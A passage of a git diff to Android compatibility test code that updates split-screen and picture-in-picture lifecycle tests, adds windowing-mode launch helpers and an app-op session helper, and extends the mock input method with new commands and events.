diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java
index e4dc868..b018ea7 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java
@@ -249,8 +249,6 @@
                 .launch();
 
         LifecycleVerifier.assertLaunchSequence(SecondActivity.class, getLifecycleLog());
-        LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
-                Arrays.asList(ON_RESUME), "launchToSide");
         LifecycleVerifier.assertEmptySequence(PipActivity.class, getLifecycleLog(),
                 "launchBelow");
     }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
index 6cf6e99..87caa56 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleSplitScreenTests.java
@@ -94,9 +94,6 @@
                 .setFlags(FLAG_ACTIVITY_MULTIPLE_TASK | FLAG_ACTIVITY_NEW_TASK)
                 .launch();
 
-        // Wait for SecondActivity in primary split screen leave minimize dock.
-        waitAndAssertActivityStates(state(secondActivity, ON_RESUME));
-
         // Finish top activity
         secondActivity.finish();
 
@@ -129,11 +126,6 @@
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
                 .launch();
 
-        // Wait for first activity to resume after being moved to split-screen.
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
-        LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
-                Arrays.asList(ON_RESUME), "launchToSide");
-
         // Launch third activity on top of second
         getLifecycleLog().clear();
         new Launcher(ThirdActivity.class)
@@ -160,11 +152,6 @@
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
                 .launch();
 
-        // Wait for first activity to resume after being moved to split-screen.
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
-        LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
-                Arrays.asList(ON_RESUME), "launchToSide");
-
         // Launch translucent activity on top of second
         getLifecycleLog().clear();
 
@@ -335,12 +322,23 @@
                 getLaunchActivityBuilder().
                         setTargetActivity(getComponentName(SecondActivity.class)));
 
-        // Wait for the activity to receive the change
-        waitForActivityTransitions(ConfigChangeHandlingActivity.class,
-                Arrays.asList(ON_TOP_POSITION_LOST, ON_MULTI_WINDOW_MODE_CHANGED));
-        LifecycleVerifier.assertOrder(getLifecycleLog(), ConfigChangeHandlingActivity.class,
-                Arrays.asList(ON_MULTI_WINDOW_MODE_CHANGED, ON_TOP_POSITION_LOST),
-                "moveToSplitScreen");
+        final int displayWindowingMode = getDisplayWindowingModeByActivity(
+                getComponentName(ConfigChangeHandlingActivity.class));
+        if (displayWindowingMode == WINDOWING_MODE_FULLSCREEN) {
+            // Wait for the activity to receive the change.
+            waitForActivityTransitions(ConfigChangeHandlingActivity.class,
+                    Arrays.asList(ON_TOP_POSITION_LOST, ON_MULTI_WINDOW_MODE_CHANGED));
+            LifecycleVerifier.assertOrder(getLifecycleLog(), ConfigChangeHandlingActivity.class,
+                    Arrays.asList(ON_MULTI_WINDOW_MODE_CHANGED, ON_TOP_POSITION_LOST),
+                    "moveToSplitScreen");
+        } else {
+            // For non-fullscreen display mode, there won't be a multi-window callback.
+            waitForActivityTransitions(ConfigChangeHandlingActivity.class,
+                    Arrays.asList(ON_TOP_POSITION_LOST));
+            LifecycleVerifier.assertTransitionObserved(getLifecycleLog(),
+                    transition(ConfigChangeHandlingActivity.class, ON_TOP_POSITION_LOST),
+                    "moveToSplitScreen");
+        }
 
         // Exit split-screen
         getLifecycleLog().clear();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
index 33279f1..7bbf9c1 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTopResumedStateTests.java
@@ -309,11 +309,6 @@
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
                 .launch();
 
-        // Wait for first activity to resume after moving to primary split-screen
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
-        // First activity must be resumed, but not gain the top position
-        LifecycleVerifier.assertSequence(CallbackTrackingActivity.class, getLifecycleLog(),
-                Arrays.asList(ON_RESUME), "unminimizeDockedStack");
         // Second activity must be on top now
         LifecycleVerifier.assertLaunchSequence(SingleTopActivity.class, getLifecycleLog());
     }
@@ -334,9 +329,6 @@
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
                 .launch();
 
-        // Wait for first activity to resume after moving to primary split-screen
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
-
         // Switch top between two activities
         getLifecycleLog().clear();
         new Launcher(CallbackTrackingActivity.class)
@@ -473,9 +465,6 @@
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
                 .launch();
 
-        // Wait for first activity to resume after moving to primary split-screen
-        waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
-
         // Tap on first activity to switch the focus
         getLifecycleLog().clear();
         final ActivityTask dockedStack = getStackForTaskId(firstActivity.getTaskId());
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java
index 94db5bc..6045fc7 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/LifecycleVerifier.java
@@ -298,14 +298,31 @@
 
     static List<LifecycleLog.ActivityCallback> getSplitScreenTransitionSequence(
             Class<? extends Activity> activityClass) {
+        // Minimized-dock is not a policy requirement and but SysUI-specific concept, so we here
+        // don't expect a trailing ON_PAUSE.
         return CALLBACK_TRACKING_CLASS.isAssignableFrom(activityClass)
                 ? Arrays.asList(
                 ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP, ON_DESTROY, PRE_ON_CREATE,
                 ON_CREATE, ON_MULTI_WINDOW_MODE_CHANGED, ON_START, ON_POST_CREATE, ON_RESUME,
-                ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST, ON_PAUSE)
+                ON_TOP_POSITION_GAINED, ON_TOP_POSITION_LOST)
                 : Arrays.asList(
                         ON_PAUSE, ON_STOP, ON_DESTROY, PRE_ON_CREATE, ON_CREATE, ON_START,
-                ON_RESUME, ON_PAUSE);
+                ON_RESUME);
+    }
+
+    // TODO(b/149338177): Remove this workaround once test passes with TestTaskOrganizer not to
+    // depend on minimized dock feature which is not policy requirement, but SysUI-specific.
+    /**
+     * Returns the result of appending "leave from minimized dock" transitions to given transitions
+     * to "consume" these activity callbacks.
+     */
+    static List<ActivityCallback> appendMinimizedDockTransitionTrail(
+            List<ActivityCallback> transitions) {
+        final List<LifecycleLog.ActivityCallback> newTransitions =
+                new ArrayList<LifecycleLog.ActivityCallback>(transitions);
+        newTransitions.addAll(Arrays.asList(ON_PAUSE, ON_RESUME));
+
+        return newTransitions;
     }
 
     static void assertSequence(Class<? extends Activity> activityClass, LifecycleLog lifecycleLog,
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index 389913e..587c538 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -17,12 +17,16 @@
 package android.server.wm;
 
 import static android.app.ActivityTaskManager.SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT;
+import static android.app.AppOpsManager.MODE_ALLOWED;
+import static android.app.AppOpsManager.OPSTR_SYSTEM_ALERT_WINDOW;
 import static android.app.Instrumentation.ActivityMonitor;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_ASSISTANT;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_RECENTS;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_UNDEFINED;
 import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
 import static android.content.Intent.ACTION_MAIN;
 import static android.content.Intent.CATEGORY_HOME;
 import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
@@ -150,6 +154,7 @@
 import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
 
+import com.android.compatibility.common.util.AppOpsUtils;
 import com.android.compatibility.common.util.SystemUtil;
 
 import org.junit.Before;
@@ -397,27 +402,45 @@
             launchTestActivityOnDisplaySync(new Intent(mContext, activityClass), displayId);
         }
 
+        void launchTestActivityOnDisplaySync(
+                Class<T> activityClass, int displayId, int windowingMode) {
+            launchTestActivityOnDisplaySync(
+                    new Intent(mContext, activityClass), displayId, windowingMode);
+        }
+
         void launchTestActivityOnDisplaySync(Intent intent, int displayId) {
-            SystemUtil.runWithShellPermissionIdentity(() -> {
-                mTestActivity = launchActivityOnDisplay(intent, displayId);
-                // Check activity is launched and resumed.
-                final ComponentName testActivityName = mTestActivity.getComponentName();
-                waitAndAssertTopResumedActivity(testActivityName, displayId,
-                        "Activity must be resumed");
-            });
+            launchTestActivityOnDisplaySync(intent, displayId, WINDOWING_MODE_UNDEFINED);
+        }
+
+        void launchTestActivityOnDisplaySync(Intent intent, int displayId, int windowingMode) {
+            SystemUtil.runWithShellPermissionIdentity(
+                    () -> {
+                        mTestActivity = launchActivityOnDisplay(intent, displayId, windowingMode);
+                        // Check activity is launched and resumed.
+                        final ComponentName testActivityName = mTestActivity.getComponentName();
+                        waitAndAssertTopResumedActivity(
+                                testActivityName, displayId, "Activity must be resumed");
+                    });
         }
 
         void launchTestActivityOnDisplay(Class<T> activityClass, int displayId) {
-            SystemUtil.runWithShellPermissionIdentity(() -> {
-                mTestActivity = launchActivityOnDisplay(new Intent(mContext, activityClass)
-                        .addFlags(FLAG_ACTIVITY_NEW_TASK), displayId);
-                assertNotNull(mTestActivity);
-            });
+            SystemUtil.runWithShellPermissionIdentity(
+                    () -> {
+                        mTestActivity =
+                                launchActivityOnDisplay(
+                                        new Intent(mContext, activityClass)
+                                                .addFlags(FLAG_ACTIVITY_NEW_TASK),
+                                        displayId,
+                                        WINDOWING_MODE_UNDEFINED);
+                        assertNotNull(mTestActivity);
+                    });
         }
 
-        private T launchActivityOnDisplay(Intent intent, int displayId) {
-            final Bundle bundle = ActivityOptions.makeBasic()
-                    .setLaunchDisplayId(displayId).toBundle();
+        private T launchActivityOnDisplay(Intent intent, int displayId, int windowingMode) {
+            final ActivityOptions launchOptions = ActivityOptions.makeBasic();
+            launchOptions.setLaunchDisplayId(displayId);
+            launchOptions.setLaunchWindowingMode(windowingMode);
+            final Bundle bundle = launchOptions.toBundle();
             final ActivityMonitor monitor = mInstrumentation.addMonitor((String) null, null, false);
             mContext.startActivity(intent.addFlags(FLAG_ACTIVITY_NEW_TASK), bundle);
             // Wait for activity launch with timeout.
@@ -730,6 +753,10 @@
         return null;
     }
 
+    protected int getDisplayWindowingModeByActivity(ComponentName activity) {
+        return mWmState.getDisplay(mWmState.getDisplayByActivity(activity)).getWindowingMode();
+    }
+
     /**
      * Launches the home activity directly. If there is no specific reason to simulate a home key
      * (which will trigger stop-app-switches), it is the recommended method to go home.
@@ -809,13 +836,12 @@
     /**
      * Moves the device into split-screen with the specified task into the primary stack.
      * @param taskId             The id of the task to move into the primary stack.
-     * @param showSideActivity   Whether to show the Recents activity (or a placeholder activity in
-     *                           place of the Recents activity if home is the recents component).
+     * @param showSideActivity   Whether to show the home activity or a placeholder activity in
+     *                           secondary split-screen.
      *                           If {@code true} it will also wait for activity in the primary
      *                           split-screen stack to be resumed.
      */
     public void moveTaskToPrimarySplitScreen(int taskId, boolean showSideActivity) {
-        final boolean isHomeRecentsComponent = mWmState.isHomeRecentsComponent();
         SystemUtil.runWithShellPermissionIdentity(() -> {
             if (mUseTaskOrganizer) {
                 mTaskOrganizer.putTaskInSplitPrimary(taskId);
@@ -823,30 +849,27 @@
                 mAtm.setTaskWindowingModeSplitScreenPrimary(taskId,
                         SPLIT_SCREEN_CREATE_MODE_TOP_OR_LEFT, true /* onTop */,
                         false /* animate */, null /* initialBounds */,
-                        showSideActivity && !isHomeRecentsComponent);
+                        false /* showRecents */);
             }
 
-            mWmState.waitForRecentsActivityVisible();
+            // Wait for split screen ready
+            mWmState.waitForWithAmState(state -> {
+                final WindowManagerState.ActivityTask task =
+                        state.getStandardStackByWindowingMode(
+                                WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
+                return task != null && task.getResumedActivity() != null;
+            }, "home activity in the secondary split-screen task must be resumed");
 
             if (showSideActivity) {
-                if (isHomeRecentsComponent) {
-                    // Launch Placeholder Side Activity
-                    final ComponentName sideActivityName =
-                            new ComponentName(mContext, SideActivity.class);
-                    mContext.startActivity(new Intent().setComponent(sideActivityName)
-                            .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
-                    mWmState.waitForActivityState(sideActivityName, STATE_RESUMED);
-                }
+                // Launch Placeholder Side Activity
+                final ComponentName sideActivityName =
+                        new ComponentName(mContext, SideActivity.class);
+                mContext.startActivity(new Intent().setComponent(sideActivityName)
+                        .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+                mWmState.waitForActivityState(sideActivityName, STATE_RESUMED);
 
-                // There are two cases when showSideActivity == true:
-                // Case 1: it's 3rd-party launcher and it should show recents, so the primary split
-                // screen won't enter minimized dock, but the activity on primary split screen
-                // should be relaunched.
-                // Case 2: It's not 3rd-party launcher but we launched side activity on secondary
-                // split screen, the activity on primary split screen should enter then leave
-                // minimized dock.
-                // In both cases, we shall wait for the state of the activity on primary split
-                // screen to resumed, so the LifecycleLog won't affect the following tests.
+                // Wait for the state of the activity on primary split screen to resumed, so the
+                // LifecycleLog won't affect the following tests.
                 mWmState.waitForWithAmState(state -> {
                     final WindowManagerState.ActivityTask stack =
                             state.getStandardStackByWindowingMode(
@@ -938,10 +961,13 @@
                         new Rect(0, 0, taskWidth, taskHeight)));
     }
 
-    protected void pressAppSwitchButtonAndWaitForRecents() {
+    protected boolean pressAppSwitchButtonAndWaitForRecents() {
         pressAppSwitchButton();
-        mWmState.waitForRecentsActivityVisible();
-        mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+        final boolean isRecentsVisible = mWmState.waitForRecentsActivityVisible();
+        if (isRecentsVisible) {
+            mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
+        }
+        return isRecentsVisible;
     }
 
     // Utility method for debugging, not used directly here, but useful, so kept around.
@@ -1191,6 +1217,12 @@
         return new TestActivitySession<T>();
     }
 
+    /** @see ObjectTracker#manage(AutoCloseable) */
+    protected SystemAlertWindowAppOpSession createAllowSystemAlertWindowAppOpSession() {
+        return mObjectTracker.manage(
+                new SystemAlertWindowAppOpSession(mContext.getOpPackageName(), MODE_ALLOWED));
+    }
+
     /**
      * Test @Rule class that disables screen doze settings before each test method running and
      * restoring to initial values after test method finished.
@@ -1352,6 +1384,10 @@
             } else {
                 Condition.waitFor("display to turn off", () -> !isDisplayOn(DEFAULT_DISPLAY));
             }
+            if(!isLockDisabled()) {
+                mWmState.waitFor(state -> state.getKeyguardControllerState().keyguardShowing,
+                        "Keyguard showing");
+            }
             return this;
         }
 
@@ -1430,6 +1466,35 @@
         }
     }
 
+    /** Helper class to set and restore appop mode "android:system_alert_window". */
+    protected static class SystemAlertWindowAppOpSession implements AutoCloseable {
+        private final String mPackageName;
+        private final int mPreviousOpMode;
+
+        SystemAlertWindowAppOpSession(String packageName, int mode) {
+            mPackageName = packageName;
+            try {
+                mPreviousOpMode = AppOpsUtils.getOpMode(mPackageName, OPSTR_SYSTEM_ALERT_WINDOW);
+            } catch (IOException e) {
+                throw new RuntimeException(e);
+            }
+            setOpMode(mode);
+        }
+
+        @Override
+        public void close() {
+            setOpMode(mPreviousOpMode);
+        }
+
+        void setOpMode(int mode) {
+            try {
+                AppOpsUtils.setOpMode(mPackageName, OPSTR_SYSTEM_ALERT_WINDOW, mode);
+            } catch (IOException e) {
+                throw new RuntimeException(e);
+            }
+        }
+    }
+
     /** Helper class to save, set & wait, and restore rotation related preferences. */
     protected class RotationSession extends SettingsSession<Integer> {
         private final String SET_FIX_TO_USER_ROTATION_COMMAND =
@@ -2245,8 +2310,15 @@
                         // Include stopped packages
                         .append(" -f 0x00000020");
             } else {
+                // If new task flag isn't set the windowing mode of launcher activity will be the
+                // windowing mode of the target activity, so we need to launch launcher activity in
+                // it.
+                String amStartCmd =
+                        (mWindowingMode == -1 || mNewTask)
+                                ? getAmStartCmd(mLaunchingActivity)
+                                : getAmStartCmd(mLaunchingActivity, mWindowingMode);
                 // Use launching activity to launch the target.
-                commandBuilder.append(getAmStartCmd(mLaunchingActivity))
+                commandBuilder.append(amStartCmd)
                         .append(" -f 0x20000020");
             }
 
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/BarTestUtils.java b/tests/framework/base/windowmanager/util/src/android/server/wm/BarTestUtils.java
index 21002a4..0a373f05 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/BarTestUtils.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/BarTestUtils.java
@@ -45,7 +45,10 @@
 
     public static void assumeHasColoredStatusBar(ActivityTestRule<?> rule) {
         assumeHasColoredBars();
+        assumeHasStatusBar(rule);
+    }
 
+    public static void assumeHasStatusBar(ActivityTestRule<?> rule) {
         assumeFalse("No status bar when running in VR", isRunningInVr());
 
         assumeTrue("Top stable inset is non-positive, no status bar.",
@@ -81,6 +84,8 @@
         assumeFalse("No bars on watches and TVs", pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
                 || pm.hasSystemFeature(PackageManager.FEATURE_TELEVISION)
                 || pm.hasSystemFeature(PackageManager.FEATURE_LEANBACK));
+
+        assumeFalse("No bars on PCs", pm.hasSystemFeature(PackageManager.FEATURE_PC));
     }
 
     private static boolean isRunningInVr() {
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java b/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java
index ca33b90..e304958 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java
@@ -61,6 +61,7 @@
         registerOrganizerIfNeeded();
         ActivityManager.RunningTaskInfo taskInfo = getTaskInfo(taskId);
         final WindowContainerTransaction t = new WindowContainerTransaction();
+        t.setBounds(taskInfo.getToken(), null);
         t.reparent(taskInfo.getToken(), mRootPrimary.getToken(), true /* onTop */);
         applyTransaction(t);
     }
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
index 23c15b4..91e3359 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
@@ -39,6 +39,7 @@
 
 import android.content.ComponentName;
 import android.content.res.Configuration;
+import android.graphics.Point;
 import android.graphics.Rect;
 import android.os.ParcelFileDescriptor;
 import android.os.SystemClock;
@@ -837,6 +838,14 @@
         return mPendingActivities.contains(getActivityName(activityName));
     }
 
+    // Get the logical display size of the default display.
+    public static Point getLogicalDisplaySize() {
+        WindowManagerState mWmState = new WindowManagerState();
+        mWmState.computeState();
+        Rect size = mWmState.getDisplay(DEFAULT_DISPLAY).getDisplayRect();
+        return new Point(size.width(), size.height());
+    }
+
     String getDefaultDisplayLastTransition() {
         return getDisplay(DEFAULT_DISPLAY).getLastTransition();
     }
@@ -1512,7 +1521,7 @@
     public static class WindowState extends WindowContainer {
 
         private static final int WINDOW_TYPE_NORMAL = 0;
-        private static final int WINDOW_TYPE_STARTING = 1;
+        public static final int WINDOW_TYPE_STARTING = 1;
         private static final int WINDOW_TYPE_EXITING = 2;
         private static final int WINDOW_TYPE_DEBUGGER = 3;
 
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
index 1a77ba4..e530dd4 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
@@ -141,11 +141,13 @@
         waitForValidState(homeActivity);
     }
 
-    void waitForRecentsActivityVisible() {
+    /** @return {@code true} if the recents is visible; {@code false} if timeout occurs. */
+    boolean waitForRecentsActivityVisible() {
         if (isHomeRecentsComponent()) {
             waitForHomeActivityVisible();
+            return true;
         } else {
-            waitForWithAmState(WindowManagerState::isRecentsActivityVisible,
+            return waitForWithAmState(WindowManagerState::isRecentsActivityVisible,
                     "recents activity to be visible");
         }
     }
diff --git a/tests/inputmethod/Android.bp b/tests/inputmethod/Android.bp
index 9b92f34..909ad0e 100644
--- a/tests/inputmethod/Android.bp
+++ b/tests/inputmethod/Android.bp
@@ -24,6 +24,7 @@
     libs: ["android.test.runner"],
     static_libs: [
         "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
         "CtsMockInputMethodLib",
diff --git a/tests/inputmethod/AndroidTest.xml b/tests/inputmethod/AndroidTest.xml
index f1ec1e0..7419606 100644
--- a/tests/inputmethod/AndroidTest.xml
+++ b/tests/inputmethod/AndroidTest.xml
@@ -48,10 +48,33 @@
         <option name="run-command" value="wm dismiss-keyguard" />
     </target_preparer>
 
+    <!--
+        A (separate) standalone test app APK is needed to test implicit app-visibility from the IME
+        process to the IME target process, because if the IME target process is directly interacting
+        with MockIme process via MockImeSession, then the system would already give the MockIme an
+        implicit app-visibility back to the test app.  To fully test app-visibility scenario,
+        MockImeSession cannot be used in the process where the focused Activity is hosted.
+    -->
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <!--
+            In order to simulate the scenario where the IME client process is normally
+            installed, explicitly set false here.  Otherwise, the test APP will be installed under
+            force-queryable mode, which makes the test useless.
+        -->
+        <option name="force-queryable" value="false" />
+        <option name="test-file-name" value="CtsInputMethodStandaloneTestApp.apk" />
+    </target_preparer>
+
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsInputMethodTestCases.apk" />
     </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+      <!-- Disable hidden API checking, see b/166236554 -->
+        <option name="run-command" value="settings put global hidden_api_policy 1" />
+        <option name="teardown-command" value="settings delete global hidden_api_policy" />
+    </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.view.inputmethod.cts" />
         <option name="runtime-hint" value="1m0s" />
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEvent.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEvent.java
index 808a972..abfae95 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEvent.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEvent.java
@@ -38,6 +38,7 @@
         Integer,
         String,
         CharSequence,
+        Exception,
         Parcelable,
     }
 
@@ -74,6 +75,9 @@
         if (object instanceof CharSequence) {
             return ReturnType.CharSequence;
         }
+        if (object instanceof Exception) {
+            return ReturnType.Exception;
+        }
         if (object instanceof Parcelable) {
             return ReturnType.Parcelable;
         }
@@ -143,6 +147,9 @@
             case CharSequence:
                 bundle.putCharSequence("mReturnValue", getReturnCharSequenceValue());
                 break;
+            case Exception:
+                bundle.putSerializable("mReturnValue", getReturnExceptionValue());
+                break;
             case Parcelable:
                 bundle.putParcelable("mReturnValue", getReturnParcelableValue());
                 break;
@@ -186,6 +193,9 @@
             case CharSequence:
                 result = bundle.getCharSequence("mReturnValue");
                 break;
+            case Exception:
+                result = bundle.getSerializable("mReturnValue");
+                break;
             case Parcelable:
                 result = bundle.getParcelable("mReturnValue");
                 break;
@@ -364,6 +374,25 @@
         return (String) mReturnValue;
     }
 
+     /**
+      * Retrieves a result that is known to be {@link Exception} or its subclasses.
+      *
+      * @param <T> {@link Exception} or its subclass.
+      * @return {@link Exception} object returned as a result of the command.
+      * @throws NullPointerException if the return value is {@code null}
+      * @throws ClassCastException if the return value is non-{@code null} object that is different
+      *                            from {@link Exception}
+     */
+    public <T extends Exception> T getReturnExceptionValue() {
+        if (mReturnType == ReturnType.Null) {
+            throw new NullPointerException();
+        }
+        if (mReturnType != ReturnType.Exception) {
+            throw new ClassCastException();
+        }
+        return (T) mReturnValue;
+    }
+
     /**
      * @return result value of this event.
      * @throws NullPointerException if the return value is {@code null}
@@ -380,6 +409,12 @@
         return (T) mReturnValue;
     }
 
+    /**
+     * @return {@code true} when the result value is an {@link Exception}.
+     */
+    public boolean isExceptionReturnValue() {
+        return mReturnType == ReturnType.Exception;
+    }
 
     /**
      * @return {@code true} when the result value is {@code null}.
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
index 89f8631..cb68f93 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
@@ -25,6 +25,7 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.content.pm.PackageManager;
 import android.content.res.Configuration;
 import android.graphics.Bitmap;
 import android.inputmethodservice.InputMethodService;
@@ -289,6 +290,15 @@
                         sendDownUpKeyEvents(keyEventCode);
                         return ImeEvent.RETURN_VALUE_UNAVAILABLE;
                     }
+                    case "getApplicationInfo": {
+                        final String packageName = command.getExtras().getString("packageName");
+                        final int flags = command.getExtras().getInt("flags");
+                        try {
+                            return getPackageManager().getApplicationInfo(packageName, flags);
+                        } catch (PackageManager.NameNotFoundException e) {
+                            return e;
+                        }
+                    }
                     case "getDisplayId":
                         return getDisplay().getDisplayId();
                     case "verifyLayoutInflaterContext":
@@ -809,6 +819,13 @@
                         suggestionView -> {
                             Log.d(TAG, "new inline suggestion view ready");
                             if (suggestionView != null) {
+                                suggestionView.setOnClickListener((v) -> {
+                                    getTracer().onInlineSuggestionClickedEvent(() -> { });
+                                });
+                                suggestionView.setOnLongClickListener((v) -> {
+                                    getTracer().onInlineSuggestionLongClickedEvent(() -> { });
+                                    return true;
+                                });
                                 pendingInlineSuggestions.mViews[index] = suggestionView;
                             }
                             if (pendingInlineSuggestions.mInflatedViewCount.incrementAndGet()
@@ -1068,5 +1085,15 @@
             return recordEventInternal("onInlineSuggestionsResponse", supplier::getAsBoolean,
                     arguments);
         }
+
+        void onInlineSuggestionClickedEvent(@NonNull Runnable runnable) {
+            final Bundle arguments = new Bundle();
+            recordEventInternal("onInlineSuggestionClickedEvent", runnable, arguments);
+        }
+
+        void onInlineSuggestionLongClickedEvent(@NonNull Runnable runnable) {
+            final Bundle arguments = new Bundle();
+            recordEventInternal("onInlineSuggestionLongClickedEvent", runnable, arguments);
+        }
     }
 }
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
index b495e36..9a5eba8 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockImeSession.java
@@ -977,6 +977,27 @@
         return callCommandInternal("sendDownUpKeyEvents", params);
     }
 
+    /**
+     * Lets {@link MockIme} call
+     * {@link android.content.pm.PackageManager#getApplicationInfo(String, int)} with the given
+     * {@code packageName} and {@code flags}.
+     *
+     * @param packageName the package name to be passed to
+     *                    {@link android.content.pm.PackageManager#getApplicationInfo(String, int)}.
+     * @param flags the flags to be passed to
+     *                    {@link android.content.pm.PackageManager#getApplicationInfo(String, int)}.
+     * @return {@link ImeCommand} object that can be passed to
+     *         {@link ImeEventStreamTestUtils#expectCommand(ImeEventStream, ImeCommand, long)} to
+     *         wait until this event is handled by {@link MockIme}.
+     */
+    @NonNull
+    public ImeCommand callGetApplicationInfo(@NonNull String packageName, int flags) {
+        final Bundle params = new Bundle();
+        params.putString("packageName", packageName);
+        params.putInt("flags", flags);
+        return callCommandInternal("getApplicationInfo", params);
+    }
+
     @NonNull
     public ImeCommand callGetDisplayId() {
         final Bundle params = new Bundle();
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodStartInputLifecycleTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodStartInputLifecycleTest.java
